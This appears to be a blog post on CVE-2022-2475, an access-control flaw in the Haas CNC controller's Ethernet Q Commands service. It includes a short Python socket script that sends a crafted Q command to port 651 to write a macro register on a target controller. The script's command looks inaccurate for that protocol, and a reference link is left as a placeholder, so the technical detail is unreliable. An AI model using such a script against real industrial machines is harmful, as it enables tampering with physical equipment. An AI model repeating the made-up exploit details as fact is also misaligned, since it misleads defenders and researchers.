Security researchers have recently discovered a new vulnerability, CVE-2022-2475, in the Haas Controller version 100.20.000.111. The vulnerability arises from insufficient granularity of access control when using the "Ethernet Q Commands" service. In simpler terms, this means that any user can write macros into registers outside of the authorized accessible range, potentially allowing unauthorized users to access privileged resources or execute tasks out of context. In this long-read post, we will dive deep into this vulnerability, discuss code snippets, provide links to original references, and explore the details of the exploit.

Vulnerability Overview

Haas Controller, a popular device used in industrial automation and CNC machinery, is impacted by CVE-2022-2475. The main issue lies in the insufficient granularity of access control when using the "Ethernet Q Commands" service.

The "Ethernet Q Commands" service is a feature within the Haas Controller that is used for sending a series of instructions from one device to another over an Ethernet network. However, due to the vulnerability, any user, even those without the necessary privileges, can write macro commands to registers outside of their allowed range of access. This could allow attackers to manipulate the system and gain unauthorized access to sensitive information or functions.

Code Snippet

The following code snippet demonstrates how an attacker can take advantage of this vulnerability by sending a Q command to write a macro outside of the authorized accessible range:

import socket

# Replace TARGET_IP_ADDRESS with the Haas Controller's IP address.
target_ip = "TARGET_IP_ADDRESS"
port = 651  # Ethernet Q Commands service port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, port))

# Q command to write a macro into an unauthorized register (example: 10010).
q_command = "Q100, 10010, 12345\n"
s.send(q_command.encode('utf-8'))

response = s.recv(1024)
print(response.decode('utf-8'))

s.close()

After running the above script, it will send a Q command (Q100, 10010, 12345\n) to the Haas Controller, which will write the value "12345" into register number 10010. This action should not be possible as the user does not have access to that specific register.

1. Official CVE website: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2475
2. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2022-2475
3. Vulnerability Details by Vendor (Haas Automation): [Link to vendor's website once they address the issue]

Exploit Details

To exploit CVE-2022-2475, an attacker simply needs to send a carefully crafted Q command that causes the Haas Controller to accept a macro command written to an unauthorized register. This could occur on an unprotected network or via a phishing attack on an unsuspecting user. As this issue has not been patched yet, users of Haas Controller v100.20.000.111 are urged to ensure their networks are secure and not accessible to unauthorized individuals.

Conclusion

In conclusion, CVE-2022-2475 is a serious vulnerability affecting Haas Controller version 100.20.000.111. Users must be aware of the potential risks associated with using the "Ethernet Q Commands" service on vulnerable devices. System owners are strongly encouraged to implement necessary security measures to prevent unauthorized access and maintain a secured network until a fix becomes available. Stay tuned for updates from the manufacturer and the security community.

Timeline

Published on: 10/28/2022 18:15:00 UTC
Last modified on: 11/02/2022 15:45:00 UTC